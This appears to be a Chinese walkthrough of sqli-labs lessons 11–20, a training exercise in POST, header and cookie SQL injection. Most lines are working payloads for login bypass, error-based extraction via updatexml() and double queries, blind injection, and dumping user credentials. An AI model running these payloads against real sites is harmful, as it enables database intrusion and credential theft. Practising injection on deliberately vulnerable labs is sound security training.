这部分的题目都是通过POST方法注入
less-11 基于报错-单引号字符串
在user或者password栏中输入
1’ or 1=1 #
获取信息:
1’ or 1=1 LIMIT 2,1 #2可换成需要的数字
还可以用盲注的方法获得信息(后面补充)
less-12 基于报错-双引号字符串变式
在user或者password栏中输入
2") or 1=1 #
less-13 双注入-单引号字符串变式
在user或者password栏中输入
a') or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #
less-14 双注入-双引号字符串
(本题题目名称目录中应该是写错了)
在user或者password栏中输入
a" or 1=2 union select count(*),concat((select version()),floor(rand()*2)) as a from information_schema.tables group by a #
less-15 盲注-布尔型/时间-单引号
在user或者password栏中输入
1' or ascii(mid((select database()),1,1))>64 #布尔注入
1' or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #时间盲注
less-16 盲注-布尔型/时间-双引号
在user或者password栏中输入(本题实际上是有括号的)
1") or ascii(mid((select database()),1,1))>64 #布尔注入
1") or if(ascii(substr((select database()),1,1))<115,true,sleep(3)) # #时间盲注
less-17 更新查询-基于报错-字符串
本题是输入用户名和要更改的密码。源代码中对username做了很多限制,所以要从password注入。已知用户名admin(能更改密码成功说明用户名存在)
方法一:双注入
' or (SELECT 1 FROM(select count(*),concat('*',(select database()),'*',floor(rand()*2)) as x from information_schema.tables group by x)as a) #
用户名admin要输,密码栏输入上面的代码。
对于dateup、delete和insert通常都是结合or的逻辑判断
方法二:updatexml()函数
uname=admin&passwd=' or updatexml(1,concat('~',(select database()),'~'),0)%23
原理是利用该函数的报错
获取数据:
但是这边却出现了You can’t specify target table ‘users’ for update in FROM clause错误
不能先select出同一表中的某些值,再update这个表(在同一语句中)。
也就是说将select出的结果再通过中间表select套一遍,这样就规避了错误,其实之前在子查询注入中也有用到此方法,同时,还要给多加的一重select赋一个别名
' or updatexml(1,concat('~',(select * from(select concat_ws(char(45),id,username,password) from users limit 0,1)as a),'~'),0)%23
方法三:盲注
less-18 包头注入-Uagent-基于报错
user-agent的输入没有过滤,且作为插入值用在了insert语句中,用bp修改user-agent值为
' or updatexml(1,concat(0x3a,database()),1))#
完成把XML报错注入
$ ' or updatexml(1,concat(0x3a,(select table_name from information_schema.tables where table_schema="security" limit 0,1)),1))# //获取表名
$ ' or updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_name="user" limit 0,1)),1))# //获取指定表字段名
less-19 包头注入-referer(来源)-基于报错
这次是修改referer字段,同理
' or updatexml(1,concat(0x3a,database()),1))#
less-20 Cookie注入-用户代理-基于报错
修改cookie字段构造SQL语句
uname=qwe' union select 1,user(),database()-- #
注意结果是显示在下面 id: XXX Password:XXX那部分